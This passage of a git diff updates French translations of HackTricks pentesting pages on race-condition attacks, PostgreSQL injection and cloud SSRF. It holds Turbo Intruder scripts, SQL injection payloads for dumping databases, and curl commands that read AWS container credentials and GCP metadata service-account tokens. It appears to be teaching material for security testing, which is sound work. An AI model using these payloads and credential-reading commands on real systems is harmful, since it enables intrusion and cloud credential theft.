la connexion côté serveur, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes. #### Gestion du verrouillage basé sur la session @@ -55,16 +56,15 @@ Les frameworks comme le gestionnaire de session PHP sérialisent les requêtes p #### Surmonter les limites de taux ou de ressources -Si le préchauffage de la connexion est inefficace, déclencher intentionnellement les retards de limite de taux ou de ressources des serveurs web en inondant de fausses requêtes pourrait faciliter l'attaque en un seul paquet en induisant un retard côté serveur propice aux conditions de course. - +Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les retards de limite de taux ou de ressources des serveurs Web à travers une vague de requêtes factices pourrait faciliter l'attaque en un seul paquet en induisant un retard côté serveur propice aux conditions de course. ## Exemples d'attaque -* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner **`examples/race-single-packer-attack.py`** dans le menu déroulant : +* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner le **`examples/race-single-packer-attack.py`** dans le menu déroulant :
-Si vous allez **envoyer des valeurs différentes**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers : +Si vous allez **envoyer des valeurs différentes**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots du presse-papiers : ```python passwords = wordlists.clipboard for password in passwords: @@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1') Si le site web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`. {% endhint %} -* **Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points d'extrémité)**: Si vous devez envoyer une requête à 1 point d'extrémité puis à plusieurs autres points d'extrémité pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit : +* **Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points finaux)**: Si vous devez envoyer une requête à 1 point final, puis à plusieurs autres points finaux pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit : ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -108,17 +108,17 @@ engine.openGate(currentAttempt) * Il est également disponible dans **Repeater** via la nouvelle option '**Envoyer le groupe en parallèle**' dans Burp Suite. * Pour **dépasser la limite**, vous pourriez simplement ajouter la **même requête 50 fois** dans le groupe. * Pour le **préchauffage de la connexion**, vous pourriez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web. -* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes de sous-états, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes. +* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes. * Pour un RC à **multi-point d'extrémité**, vous pourriez commencer à envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**. -
+
### Brut BF -Avant les recherches précédentes, voici quelques charges utiles utilisées qui ont simplement essayé d'envoyer les paquets aussi rapidement que possible pour provoquer un RC. +Avant les recherches précédentes, voici quelques charges utiles utilisées qui tentaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer un RC. * **Repeater:** Consultez les exemples de la section précédente. -* **Intruder**: Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** à **30** dans le **menu Options et,** sélectionnez comme charge utile **Charges utiles nulles** et générez **30.** +* **Intruder**: Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** à **30** dans le **menu Options et,** sélectionnez comme charge utile **Charges nulles** et générez **30.** * **Turbo Intruder** ```python def queueRequests(target, wordlists): @@ -170,44 +170,43 @@ asyncio.run(main()) ### Dépassement de limite / TOCTOU -Il s'agit du type le plus basique de condition de course où des **vulnérabilités** apparaissent dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Comme utiliser le même code de réduction plusieurs fois dans une boutique en ligne. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.** +Il s'agit du type le plus basique de condition de course où des **vulnérabilités** apparaissent dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Comme utiliser plusieurs fois le même code de réduction dans une boutique en ligne. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.** Il existe de nombreuses variations de ce type d'attaque, notamment : -- Utiliser plusieurs fois une carte cadeau -- Noter un produit plusieurs fois -- Retirer ou transférer de l'argent en excès par rapport à votre solde de compte -- Réutiliser une solution CAPTCHA unique -- Contourner une limite de taux anti-brute force +* Utiliser plusieurs fois une carte cadeau +* Noter un produit plusieurs fois +* Retirer ou transférer de l'argent en excès par rapport à votre solde de compte +* Réutiliser une solution CAPTCHA unique +* Contourner une limite de taux anti-brute force ### **Sous-états cachés** Exploiter des conditions de course complexes implique souvent de profiter de brèves opportunités pour interagir avec des sous-états de machine cachés ou **non intentionnels**. Voici comment aborder cela : 1. **Identifier les sous-états cachés potentiels** -- Commencez par cibler les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateurs ou les processus de réinitialisation de mot de passe. Concentrez-vous sur : -- **Stockage** : Privilégiez les points de terminaison qui manipulent des données persistantes côté serveur par rapport à ceux qui gèrent des données côté client. -- **Action** : Recherchez les opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données. -- **Clé** : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation. - +* Commencez par cibler les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateurs ou les processus de réinitialisation de mot de passe. Concentrez-vous sur : +* **Stockage** : Privilégiez les points de terminaison qui manipulent des données persistantes côté serveur par rapport à ceux qui gèrent des données côté client. +* **Action** : Recherchez les opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données. +* **Identification** : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation. 2. **Effectuer des sondages initiaux** -- Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements de comportement de l'application peuvent signaler une vulnérabilité. - +* Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements de comportement de l'application peuvent signaler une vulnérabilité. 3. **Démontrer la vulnérabilité** -- Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou une automatisation en raison de la précision temporelle impliquée. +* Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou une automatisation en raison de la synchronisation précise impliquée. ### Attaques sensibles au temps -La précision dans le timing des requêtes peut révéler des vulnérabilités, notamment lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées. +La précision dans la synchronisation des requêtes peut révéler des vulnérabilités, notamment lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées. **Pour exploiter :** -- Utilisez un timing précis, comme une attaque en un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité. + +* Utilisez une synchronisation précise, comme une attaque à un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité. **Exemple :** -- Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent une faille dans la génération de jetons. -**Consultez ce [laboratoire PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) pour essayer cela.** +* Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent un défaut dans la génération de jetons. +**Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **pour essayer cela.** ## Études de cas sur les sous-états cachés @@ -223,19 +222,19 @@ L'idée est de **vérifier une adresse e-mail et la changer pour une autre en m Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state-machine) Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait **envoyer** le **jeton de vérification de l'e-mail d'un e-mail à l'autre**. -**Consultez ce [laboratoire PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) pour essayer cela.** +**Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer cela.** -### États de base de données cachés / Contournement de la confirmation +### États cachés de la base de données / Contournement de la confirmation Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a un petit laps de temps où **seule la première donnée a été écrite** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** puis le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**. Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de **confirmer un compte** dont vous ne contrôlez pas l'e-mail. -**Consultez ce [laboratoire PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) pour essayer cela.** +**Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer cela.** ### Contourner l'authentification à 2 facteurs -Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, **l'authentification à 2 facteurs n'est pas appliquée** tandis que la session est créée: +Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, l'**authentification à 2 facteurs n'est pas appliquée** tandis que la session est créée : ```python session['userid'] = user.userid if user.mfa_enabled: @@ -245,20 +244,20 @@ session['enforce_mfa'] = True ``` ### Persistance éternelle OAuth2 -Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés par le fournisseur. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\ +Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés par le fournisseur. Pour ce faire, le **client** devra **permettre à votre application** d'accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\ Ainsi, jusqu'ici, il s'agit simplement d'une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "_L'application \ souhaite accéder à vos informations, voulez-vous l'autoriser?_" -#### Condition de course dans `authorization_code` +#### Course Condition dans `authorization_code` -Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de Course dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**. +Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Course Condition dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**. -#### Condition de course dans `Refresh Token` +#### Course Condition dans `Refresh Token` Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'exploiter pour générer plusieurs AT/RT** et **même si l'utilisateur annule les autorisations** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides**. -## **RC dans les WebSockets** +## **CC dans les WebSockets** -Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter **les Conditions de Course également dans les Web Sockets**. +Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter les **Course Conditions également dans les Web Sockets**. ## Références @@ -277,7 +276,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index f835daaee..84afbedbb 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -6,15 +6,15 @@ Autres façons de soutenir HackTricks : -- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). @@ -26,7 +26,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat ## Interaction réseau - Élévation de privilèges, Scanner de ports, divulgation de la réponse au défi NTLM et Exfiltration -Le module **PostgreSQL `dblink`** offre des capacités pour se connecter à d'autres instances PostgreSQL et exécuter des connexions TCP. Ces fonctionnalités, combinées avec la fonctionnalité `COPY FROM`, permettent des actions telles que l'élévation de privilèges, le balayage de ports et la capture de la réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). +Le module **PostgreSQL `dblink`** offre des capacités pour se connecter à d'autres instances PostgreSQL et exécuter des connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'élévation de privilèges, le balayage de ports et la capture de la réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). ### **Exemple d'exfiltration utilisant dblink et les grands objets** @@ -49,7 +49,7 @@ La manipulation de chaînes pourrait vous aider à **contourner les WAF ou d'aut ### Requêtes empilées -Rappelez-vous que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via une injection de temps : +N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via une injection de temps : ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - @@ -58,13 +58,13 @@ id=1; select pg_sleep(10);-- - **query\_to\_xml** -Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne : +Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez déverser beaucoup de données en une seule ligne : ```sql SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database\_to\_xml** -Cette fonction va extraire l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client) : +Cette fonction va extraire l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client): ```sql SELECT database_to_xml(true,true,''); ``` @@ -96,22 +96,22 @@ SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index dee7d46df..8a28d5965 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -28,12 +28,12 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi **La métadonnée** peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'URL : `http://169.254.169.254` ([informations sur la métadonnée ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). -Il existe **2 versions** de la métadonnée. La **première** permet d'**accéder** à la métadonnée via des requêtes **GET** (donc toute **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (il est donc **plus compliqué à exploiter** avec une SSRF). +Il existe **2 versions** de la métadonnée. La **première** permet d'**accéder** à la métadonnée via des requêtes **GET** (donc toute **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (donc c'est **plus compliqué à exploiter** avec une SSRF). {% hint style="danger" %} Notez que si l'instance EC2 impose IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2. -De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela est fait pour empêcher les proxies inverses mal configurés d'y accéder. +De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés de pouvoir y accéder. {% endhint %} Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes en sont extraites : @@ -119,12 +119,12 @@ Remarquez le **aws\_session\_token**, c'est indispensable pour que le profil fon Si vous accédez à _**http://169.254.170.2/v2/credentials/\**_ vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez **trouver le \**. Pour trouver le \, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\ Vous pourriez être en mesure de le lire en exploitant une **traversal de chemin** vers `file:///proc/self/environ`\ -L'adresse http mentionnée devrait vous donner l'**AccessKey, SecretKey et le jeton**. +L'adresse http mentionnée devrait vous donner les **AccessKey, SecretKey et token**. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` {% hint style="info" %} -Notez que dans **certains cas**, vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2. +Notez que dans **certains cas** vous pourrez accéder à l'**instance de métadonnées EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2. {% endhint %} ### SSRF pour AWS Lambda @@ -137,7 +137,7 @@ Les **noms** des **variables d'environnement intéressantes** sont : * `AWS_SECRET_ACCESS_KEY` * `AWS_ACCES_KEY_ID` -De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à la disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. +De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à la disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via une SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. {% hint style="warning" %} Notez que les **informations d'identification lambda** se trouvent dans les **variables d'environnement**. Ainsi, si la **trace de la pile** du code lambda imprime les variables d'environnement, il est possible de les **exfiltrer en provoquant une erreur** dans l'application. @@ -174,10 +174,10 @@ Points de terminaison intéressants pour extraire des informations : ```bash # /project # Project name and number -curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id -curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes -curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users @@ -191,17 +191,17 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslog # /instance # Description -curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname -curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID -curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image -curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image +curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type -curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type +curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name -curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name +curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone @@ -275,9 +275,9 @@ Extraire le jeton ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` -Vérifiez la portée du jeton -``` -$ curl 